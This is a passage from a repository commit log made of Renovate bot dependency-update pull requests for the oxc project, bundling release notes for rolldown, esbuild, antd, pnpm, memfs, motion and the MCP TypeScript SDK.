by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- rolldown\_plugin\_transform: remove unused `runtime_resolve_base`
option
([#​6226](https://redirect.github.com/rolldown/rolldown/issues/6226 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
##### 📚 Documentation
- add "edit this page on GitHub" button
([#​6241](https://redirect.github.com/rolldown/rolldown/issues/6241 ))
by [@​siaeyy](https://redirect.github.com/siaeyy )
##### ⚡ Performance
- rolldown: minor performance optimization
([#​6271](https://redirect.github.com/rolldown/rolldown/issues/6271 ))
by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn )
- rolldown: take advantage of tokio blocking threads
([#​6270](https://redirect.github.com/rolldown/rolldown/issues/6270 ))
by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn )
##### 🧪 Testing
- dev: add rebuild after HMR case
([#​6260](https://redirect.github.com/rolldown/rolldown/issues/6260 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- dev: support full reload in tests
([#​6259](https://redirect.github.com/rolldown/rolldown/issues/6259 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- dev: extract waitFor from waitForPathExists
([#​6261](https://redirect.github.com/rolldown/rolldown/issues/6261 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- add class like cases for empty function optimizations
([#​6248](https://redirect.github.com/rolldown/rolldown/issues/6248 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
##### ⚙️ Miscellaneous Tasks
- deps: update github-actions
([#​6298](https://redirect.github.com/rolldown/rolldown/issues/6298 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update dependency dprint/dprint-plugin-typescript to v0.95.11
([#​6296](https://redirect.github.com/rolldown/rolldown/issues/6296 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update dependency dprint/dprint-plugin-markdown to v0.19.0
([#​6295](https://redirect.github.com/rolldown/rolldown/issues/6295 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update dependency g-plane/pretty\_yaml to v0.5.1
([#​6294](https://redirect.github.com/rolldown/rolldown/issues/6294 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- use a forked version of openharmony-rs/setup-ohos-sdk
([#​6290](https://redirect.github.com/rolldown/rolldown/issues/6290 ))
by [@​Boshen](https://redirect.github.com/Boshen )
- deps: update dependency tsdown to v0.15.4
([#​6286](https://redirect.github.com/rolldown/rolldown/issues/6286 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update dependency rolldown-plugin-dts to v0.16.7
([#​6285](https://redirect.github.com/rolldown/rolldown/issues/6285 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- rust: continue to make `cargo publish --workspace` work
([#​6281](https://redirect.github.com/rolldown/rolldown/issues/6281 ))
by [@​Boshen](https://redirect.github.com/Boshen )
- deps: update dependency tsdown to v0.15.3
([#​6280](https://redirect.github.com/rolldown/rolldown/issues/6280 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- rust: fixes for `cargo publish --dry-run --workspace`
([#​6279](https://redirect.github.com/rolldown/rolldown/issues/6279 ))
by [@​Boshen](https://redirect.github.com/Boshen )
- deps: update dependency rust to v1.90.0
([#​6277](https://redirect.github.com/rolldown/rolldown/issues/6277 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update dependency rolldown-plugin-dts to v0.16.6
([#​6276](https://redirect.github.com/rolldown/rolldown/issues/6276 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- adding tracing for all sub stage in LinkStage:link
([#​6268](https://redirect.github.com/rolldown/rolldown/issues/6268 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- deps: update oxc-project/setup-node action to v1.0.4
([#​6258](https://redirect.github.com/rolldown/rolldown/issues/6258 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update github-actions
([#​6249](https://redirect.github.com/rolldown/rolldown/issues/6249 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update dependency tsdown to v0.15.2
([#​6242](https://redirect.github.com/rolldown/rolldown/issues/6242 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- dev: output error when the initial bundle failed
([#​6228](https://redirect.github.com/rolldown/rolldown/issues/6228 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
##### ❤️ New Contributors
- [@​siaeyy](https://redirect.github.com/siaeyy ) made their first
contribution in
[#​6241](https://redirect.github.com/rolldown/rolldown/pull/6241 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "before 9am on monday" in timezone
Asia/Shanghai, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions ) if
that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ).
View the [repository job
log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzEuOSIsInVwZGF0ZWRJblZlciI6IjQxLjEzMS45IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-29 02:02:20 +00:00
renovate[bot]
62a9e7bfb7
chore(deps): lock file maintenance npm packages ( #13984 )
...
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842 ).
This PR contains the following updates:
| Package | Type | Update | Change | Age | Adoption | Passing |
Confidence |
|---|---|---|---|---|---|---|---|
| | | lockFileMaintenance | All locks refreshed | | | | |
| [@modelcontextprotocol/sdk](https://modelcontextprotocol.io )
([source](https://redirect.github.com/modelcontextprotocol/typescript-sdk ))
| dependencies | minor | [`1.17.5` ->
`1.18.1`](https://renovatebot.com/diffs/npm/@modelcontextprotocol%2fsdk/1.17.5/1.18.1 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node )
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node ))
| devDependencies | minor | [`24.3.1` ->
`24.5.2`](https://renovatebot.com/diffs/npm/@types%2fnode/24.3.1/24.5.2 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [antd](https://ant.design )
([source](https://redirect.github.com/ant-design/ant-design )) |
devDependencies | patch | [`5.27.3` ->
`5.27.4`](https://renovatebot.com/diffs/npm/antd/5.27.3/5.27.4 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [esbuild](https://redirect.github.com/evanw/esbuild ) | devDependencies
| patch | [`0.25.9` ->
`0.25.10`](https://renovatebot.com/diffs/npm/esbuild/0.25.9/0.25.10 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [memfs](https://redirect.github.com/streamich/memfs ) | devDependencies
| minor | [`4.39.0` ->
`4.43.0`](https://renovatebot.com/diffs/npm/memfs/4.39.0/4.43.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [motion](https://redirect.github.com/motiondivision/motion ) |
devDependencies | patch | [`12.23.12` ->
`12.23.16`](https://renovatebot.com/diffs/npm/motion/12.23.12/12.23.16 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [pnpm](https://pnpm.io )
([source](https://redirect.github.com/pnpm/pnpm/tree/HEAD/pnpm )) |
packageManager | minor | [`10.16.1` ->
`10.17.0`](https://renovatebot.com/diffs/npm/pnpm/10.16.1/10.17.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [rolldown](https://rolldown.rs/ )
([source](https://redirect.github.com/rolldown/rolldown/tree/HEAD/packages/rolldown ))
| devDependencies | patch | [`1.0.0-beta.35` ->
`1.0.0-beta.38`](https://renovatebot.com/diffs/npm/rolldown/1.0.0-beta.35/1.0.0-beta.38 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [yup](https://redirect.github.com/jquense/yup ) | devDependencies |
patch | [`1.7.0` ->
`1.7.1`](https://renovatebot.com/diffs/npm/yup/1.7.0/1.7.1 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [tsdown](https://redirect.github.com/rolldown/tsdown ) |
devDependencies | patch | [`0.15.1` ->
`0.15.4`](https://renovatebot.com/diffs/npm/tsdown/0.15.1/0.15.4 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
🔧 This Pull Request updates lock files to use the latest dependency
versions.
---
### Release Notes
<details>
<summary>modelcontextprotocol/typescript-sdk
(@​modelcontextprotocol/sdk)</summary>
###
[`v1.18.1`](https://redirect.github.com/modelcontextprotocol/typescript-sdk/releases/tag/1.18.1 )
[Compare
Source](https://redirect.github.com/modelcontextprotocol/typescript-sdk/compare/1.18.0...1.18.1 )
#### What's Changed
- fix: prevent streamable http wite after end from crashing the node
process by [@​MQ37](https://redirect.github.com/MQ37 ) in
[#​933](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/933 )
- chore: update version to 1.18.1 for weekly release by
[@​felixweinberger](https://redirect.github.com/felixweinberger )
in
[#​950](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/950 )
#### New Contributors
- [@​MQ37](https://redirect.github.com/MQ37 ) made their first
contribution in
[#​933](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/933 )
**Full Changelog**:
<https://github.com/modelcontextprotocol/typescript-sdk/compare/1.18.0...1.18.1 >
###
[`v1.18.0`](https://redirect.github.com/modelcontextprotocol/typescript-sdk/releases/tag/1.18.0 )
[Compare
Source](https://redirect.github.com/modelcontextprotocol/typescript-sdk/compare/1.17.5...1.18.0 )
#### What's Changed
- mcp: update SDK for SEP 973 + add to example server by
[@​jesselumarie](https://redirect.github.com/jesselumarie ) in
[#​904](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/904 )
- feat: add \_meta field support to tool definitions by
[@​knguyen-figma](https://redirect.github.com/knguyen-figma ) in
[#​922](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/922 )
- Fix automatic log level handling for sessionless connections by
[@​cliffhall](https://redirect.github.com/cliffhall ) in
[#​917](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/917 )
- 1.17.6 by [@​ihrpr](https://redirect.github.com/ihrpr ) in
[#​936](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/936 )
- 1.18.0 by [@​ihrpr](https://redirect.github.com/ihrpr ) in
[#​937](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/937 )
- ignore icons for now by
[@​ihrpr](https://redirect.github.com/ihrpr ) in
[#​938](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/938 )
#### New Contributors
- [@​jesselumarie](https://redirect.github.com/jesselumarie ) made
their first contribution in
[#​904](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/904 )
- [@​knguyen-figma](https://redirect.github.com/knguyen-figma )
made their first contribution in
[#​922](https://redirect.github.com/modelcontextprotocol/typescript-sdk/pull/922 )
**Full Changelog**:
<https://github.com/modelcontextprotocol/typescript-sdk/compare/1.17.5...1.18.0 >
</details>
<details>
<summary>ant-design/ant-design (antd)</summary>
###
[`v5.27.4`](https://redirect.github.com/ant-design/ant-design/releases/tag/5.27.4 )
[Compare
Source](https://redirect.github.com/ant-design/ant-design/compare/5.27.3...5.27.4 )
- Table
- 🐞 Fix Table duplicated filter dropdowns and tooltips when using
`sticky` headers or `scroll.y`.
[#​54910](https://redirect.github.com/ant-design/ant-design/pull/54910 )
[@​afc163](https://redirect.github.com/afc163 )
- 🐞 Fix Table header not rendering on initial load.
[#​54910](https://redirect.github.com/ant-design/ant-design/pull/54910 )
[@​afc163](https://redirect.github.com/afc163 )
- 🐞 Fix Table column alignment when `scroll.x` is enabled.
[#​54899](https://redirect.github.com/ant-design/ant-design/pull/54899 )
[@​afc163](https://redirect.github.com/afc163 )
- 🐞 Fix Button where the padding of icon-only was affected by the theme.
[#​54970](https://redirect.github.com/ant-design/ant-design/pull/54970 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🐞 Fix Splitter `minSize` and `maxSize` not taking effect on initial
mount in uncontrolled mode.
[#​54939](https://redirect.github.com/ant-design/ant-design/pull/54939 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🐞 Fix Switch wave effect compatibility with Tailwind CSS `disabled`
variant.
[#​54933](https://redirect.github.com/ant-design/ant-design/pull/54933 )
[@​Jiyur](https://redirect.github.com/Jiyur )
- 🐞 Fix Input.Search hover color changes for the border and icon when
the search button is `disabled`.
[#​54892](https://redirect.github.com/ant-design/ant-design/pull/54892 )
[@​Jiyur](https://redirect.github.com/Jiyur )
***
- Table
- 🐞 修复 Table 在使 `sticky` 表头或设置 `scroll.y` 时,筛选下拉与 Tooltip
重复显示的问题。[#​54910](https://redirect.github.com/ant-design/ant-design/pull/54910 )
[@​afc163](https://redirect.github.com/afc163 )
- 🐞 修复 Table
表头在首次加载时未正确渲染的问题。[#​54910](https://redirect.github.com/ant-design/ant-design/pull/54910 )
[@​afc163](https://redirect.github.com/afc163 )
- 🐞 修复 Table 在启用 `scroll.x`
时,固定列的对齐问题。[#​54899](https://redirect.github.com/ant-design/ant-design/pull/54899 )
[@​afc163](https://redirect.github.com/afc163 )
- 🐞 修复 Button 仅图标(icon-only)按钮的内边距受主题影响的问题。
[#​54970](https://redirect.github.com/ant-design/ant-design/pull/54970 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🐞 修复 Splitter 在非受控模式下初次挂载时,`minSize` 和 `maxSize`
未生效的问题。[#​54939](https://redirect.github.com/ant-design/ant-design/pull/54939 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🐞 修复 Switch 波纹效果与 Tailwind CSS disabled
变体的兼容性问题。[#​54933](https://redirect.github.com/ant-design/ant-design/pull/54933 )
[@​Jiyur](https://redirect.github.com/Jiyur )
- 🐞 修复 Input.Search 在搜索按钮为 `disabled`
时,悬停仍会导致边框和图标变色的问题。[#​54892](https://redirect.github.com/ant-design/ant-design/pull/54892 )
[@​Jiyur](https://redirect.github.com/Jiyur )
</details>
<details>
<summary>evanw/esbuild (esbuild)</summary>
###
[`v0.25.10`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#02510 )
[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.25.9...v0.25.10 )
- Fix a panic in a minification edge case
([#​4287](https://redirect.github.com/evanw/esbuild/issues/4287 ))
This release fixes a panic due to a null pointer that could happen when
esbuild inlines a doubly-nested identity function and the final result
is empty. It was fixed by emitting the value `undefined` in this case,
which avoids the panic. This case must be rare since it hasn't come up
until now. Here is an example of code that previously triggered the
panic (which only happened when minifying):
```js
function identity(x) { return x }
identity({ y: identity(123) })
```
- Fix `@supports` nested inside pseudo-element
([#​4265](https://redirect.github.com/evanw/esbuild/issues/4265 ))
When transforming nested CSS to non-nested CSS, esbuild is supposed to
filter out pseudo-elements such as `::placeholder` for correctness. The
[CSS nesting specification](https://www.w3.org/TR/css-nesting-1/ ) says
the following:
> The nesting selector cannot represent pseudo-elements (identical to
the behavior of the ':is()' pseudo-class). We’d like to relax this
restriction, but need to do so simultaneously for both ':is()' and '&',
since they’re intentionally built on the same underlying mechanisms.
However, it seems like this behavior is different for nested at-rules
such as `@supports`, which do work with pseudo-elements. So this release
modifies esbuild's behavior to now take that into account:
```css
/* Original code */
::placeholder {
color: red;
body & { color: green }
@​supports (color: blue) { color: blue }
}
/* Old output (with --supported:nesting=false) */
::placeholder {
color: red;
}
body :is() {
color: green;
}
@​supports (color: blue) {
{
color: blue;
}
}
/* New output (with --supported:nesting=false) */
::placeholder {
color: red;
}
body :is() {
color: green;
}
@​supports (color: blue) {
::placeholder {
color: blue;
}
}
```
</details>
<details>
<summary>streamich/memfs (memfs)</summary>
###
[`v4.43.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4430-2025-09-20 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.42.0...v4.43.0 )
##### Features
- re-export all Node.js native packages
([4ecc167](https://redirect.github.com/streamich/memfs/commit/4ecc16706d83b5fe69fc929434535e62647ee546 ))
###
[`v4.42.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4420-2025-09-16 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.41.0...v4.42.0 )
##### Features
- 🎸 implement `.openAsBlob()` for `FsaNodeFs`
([26068e8](https://redirect.github.com/streamich/memfs/commit/26068e8ca2e8b2f5b1449a38dfebfd5be2a02e6b ))
###
[`v4.41.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4410-2025-09-16 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.40.0...v4.41.0 )
##### Features
- update TypeScript and related packages to latest versions
([988710d](https://redirect.github.com/streamich/memfs/commit/988710d453f15d404f72b50264e6d573f29103ae ))
###
[`v4.40.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4400-2025-09-16 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.39.0...v4.40.0 )
##### Features
- update Node.js types and add node: prefix to imports
([c3f32bc](https://redirect.github.com/streamich/memfs/commit/c3f32bc0cc8f034f8cb60ea6f2c7ab6af2112185 ))
</details>
<details>
<summary>motiondivision/motion (motion)</summary>
###
[`v12.23.16`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122316-2025-09-19 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.15...v12.23.16 )
##### Fixed
- Fixing `ref` when passed to a child of `AnimatePresence` in
`"popLayout"` mode.
###
[`v12.23.15`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122315-2025-09-18 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.14...v12.23.15 )
##### Fixed
- Fixing `export *` error in RSC.
###
[`v12.23.14`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122314-2025-09-16 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.13...v12.23.14 )
##### Fixed
- Fixing types of `Reorder.Item` and `Reorder.Group` so incorrect HTML
props are correctly flagged.
###
[`v12.23.13`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122313-2025-09-16 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.12...v12.23.13 )
##### Fixed
- Fixed issue where motion components don't update refs when externalRef
changes. The `useMotionRef` function now properly includes `externalRef`
in the dependency array to ensure ref callbacks update when the external
ref changes.
##### Changed
- Stopped tracking yarn cache in the repo.
</details>
<details>
<summary>pnpm/pnpm (pnpm)</summary>
###
[`v10.17.0`](https://redirect.github.com/pnpm/pnpm/blob/HEAD/pnpm/CHANGELOG.md#10170 )
[Compare
Source](https://redirect.github.com/pnpm/pnpm/compare/v10.16.1...v10.17.0 )
##### Minor Changes
- The `minimumReleaseAgeExclude` setting now supports patterns. For
instance:
```yaml
minimumReleaseAge: 1440
minimumReleaseAgeExclude:
- "@​eslint/*"
```
Related PR:
[#​9984](https://redirect.github.com/pnpm/pnpm/pull/9984 ).
##### Patch Changes
- Don't ignore the `minimumReleaseAge` check, when the package is
requested by exact version and the packument is loaded from cache
[#​9978](https://redirect.github.com/pnpm/pnpm/issues/9978 ).
- When `minimumReleaseAge` is set and the active version under a
dist-tag is not mature enough, do not downgrade to a prerelease version
in case the original version wasn't a prerelease one
[#​9979](https://redirect.github.com/pnpm/pnpm/issues/9979 ).
</details>
<details>
<summary>rolldown/rolldown (rolldown)</summary>
###
[`v1.0.0-beta.38`](https://redirect.github.com/rolldown/rolldown/blob/HEAD/CHANGELOG.md#100-beta38---2025-09-15 )
[Compare
Source](https://redirect.github.com/rolldown/rolldown/compare/v1.0.0-beta.37...v1.0.0-beta.38 )
##### 💥 BREAKING CHANGES
- rolldown\_plugin\_oxc\_runtime: embed helpers to support browser
environment
([#​6177](https://redirect.github.com/rolldown/rolldown/issues/6177 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
##### 🚀 Features
- rolldown: oxc v0.89.0
([#​6220](https://redirect.github.com/rolldown/rolldown/issues/6220 ))
by [@​Boshen](https://redirect.github.com/Boshen )
- rolldown\_plugin\_esm\_external\_require: add duplicate external
detection
([#​6202](https://redirect.github.com/rolldown/rolldown/issues/6202 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- cross module noop function optimization
([#​6199](https://redirect.github.com/rolldown/rolldown/issues/6199 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- support to specify `scan_mode` in `bundler.scan`
([#​6204](https://redirect.github.com/rolldown/rolldown/issues/6204 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- warn when transform options override tsconfig compiler options
([#​6197](https://redirect.github.com/rolldown/rolldown/issues/6197 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- support `false` in `resolve.alias` to ignore resolution
([#​6203](https://redirect.github.com/rolldown/rolldown/issues/6203 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- cli: remove `getJsonSchema`
([#​6186](https://redirect.github.com/rolldown/rolldown/issues/6186 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- cli: add Node.js version warning for unsupported versions
([#​6150](https://redirect.github.com/rolldown/rolldown/issues/6150 ))
by [@​Copilot](https://redirect.github.com/Copilot )
- rolldown\_plugin\_oxc\_runtime: include version in virtual module
paths
([#​6179](https://redirect.github.com/rolldown/rolldown/issues/6179 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- add native react-refresh-wrapper plugin
([#​6144](https://redirect.github.com/rolldown/rolldown/issues/6144 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- rolldown\_plugin\_utils: add `to_string_literal`
([#​6178](https://redirect.github.com/rolldown/rolldown/issues/6178 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- improve error messages for builtin plugins
([#​6175](https://redirect.github.com/rolldown/rolldown/issues/6175 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- indent module content in IIFE format
([#​6174](https://redirect.github.com/rolldown/rolldown/issues/6174 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rolldown\_error: improve N-API error handling logic
([#​6171](https://redirect.github.com/rolldown/rolldown/issues/6171 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rolldown\_error: improve `ByteLocator#byte_offset`
([#​6169](https://redirect.github.com/rolldown/rolldown/issues/6169 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- dev: skip writing to file
([#​6148](https://redirect.github.com/rolldown/rolldown/issues/6148 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- dev: add `skip_write` option
([#​6151](https://redirect.github.com/rolldown/rolldown/issues/6151 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- dev: ignore file metadata changes
([#​6138](https://redirect.github.com/rolldown/rolldown/issues/6138 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- dev: add PathsMut for debounced PollWatcher
([#​6139](https://redirect.github.com/rolldown/rolldown/issues/6139 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- dev: use PathsMut for debounced RecommendedWatcher
([#​6137](https://redirect.github.com/rolldown/rolldown/issues/6137 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- improve bundler initialization error handling
([#​6132](https://redirect.github.com/rolldown/rolldown/issues/6132 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
##### 🐛 Bug Fixes
- rolldown\_plugin\_vite\_resolve: correctly handle Windows drive paths
with leading slash
([#​6209](https://redirect.github.com/rolldown/rolldown/issues/6209 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- allow `jsx.pragmaFrag` instead of `jsx.pragmaFlag`
([#​6200](https://redirect.github.com/rolldown/rolldown/issues/6200 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- improve import-glob plugin error handling without panic
([#​6106](https://redirect.github.com/rolldown/rolldown/issues/6106 ))
by [@​hikomoon](https://redirect.github.com/hikomoon )
- Panic with "jsx": "preserve" when rewrite a `memberExpression`
([#​6192](https://redirect.github.com/rolldown/rolldown/issues/6192 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rolldown\_error: use `byte_slice` instead of `slice` for correct span
handling
([#​6185](https://redirect.github.com/rolldown/rolldown/issues/6185 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- generate valid identifier for export names with
`minifyInternalExports`
([#​6166](https://redirect.github.com/rolldown/rolldown/issues/6166 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- useless \_\_export helper usage
([#​6160](https://redirect.github.com/rolldown/rolldown/issues/6160 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- incremental watch modify entry module
([#​6156](https://redirect.github.com/rolldown/rolldown/issues/6156 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- register trace subscriber
([#​6145](https://redirect.github.com/rolldown/rolldown/issues/6145 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- json imports error with `eval` or `arguments` in *strict mode*
([#​6140](https://redirect.github.com/rolldown/rolldown/issues/6140 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- `process` is not defined in repl
([#​6147](https://redirect.github.com/rolldown/rolldown/issues/6147 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
##### 💼 Other
- rolldown: support to build `rolldown` with `.wasm` binding
([#​6153](https://redirect.github.com/rolldown/rolldown/issues/6153 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- rolldown: refactor `build.ts` to prepare to support build `rolldown`
package with wasi binding
([#​6152](https://redirect.github.com/rolldown/rolldown/issues/6152 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
##### 🚜 Refactor
- share `FlatOptions` in whole build session
([#​6211](https://redirect.github.com/rolldown/rolldown/issues/6211 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- remove unnecessary `comments` in ScopeHoistingFinalizerContext
([#​6205](https://redirect.github.com/rolldown/rolldown/issues/6205 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- move external string/regex matching from JS to Rust
([#​6201](https://redirect.github.com/rolldown/rolldown/issues/6201 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rename `cross_module_inline_const` to `cross_module_optimization`
([#​6193](https://redirect.github.com/rolldown/rolldown/issues/6193 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rename `class` and `function` visitor to `class_decl`, `function_decl`
([#​6176](https://redirect.github.com/rolldown/rolldown/issues/6176 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rolldown\_error: tweak code
([#​6168](https://redirect.github.com/rolldown/rolldown/issues/6168 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- improve `BuildDiagnostic`
([#​6165](https://redirect.github.com/rolldown/rolldown/issues/6165 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- improve `RolldownBuild`
([#​6136](https://redirect.github.com/rolldown/rolldown/issues/6136 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rolldown\_error: remove unused `EventKind::IoError`
([#​6134](https://redirect.github.com/rolldown/rolldown/issues/6134 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rename CustomPathsMut to NotifyPathsMutAdapter and move to utils
([#​6135](https://redirect.github.com/rolldown/rolldown/issues/6135 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
##### 📚 Documentation
- contrib-guide: add profiling instructions for macOS
([#​6183](https://redirect.github.com/rolldown/rolldown/issues/6183 ))
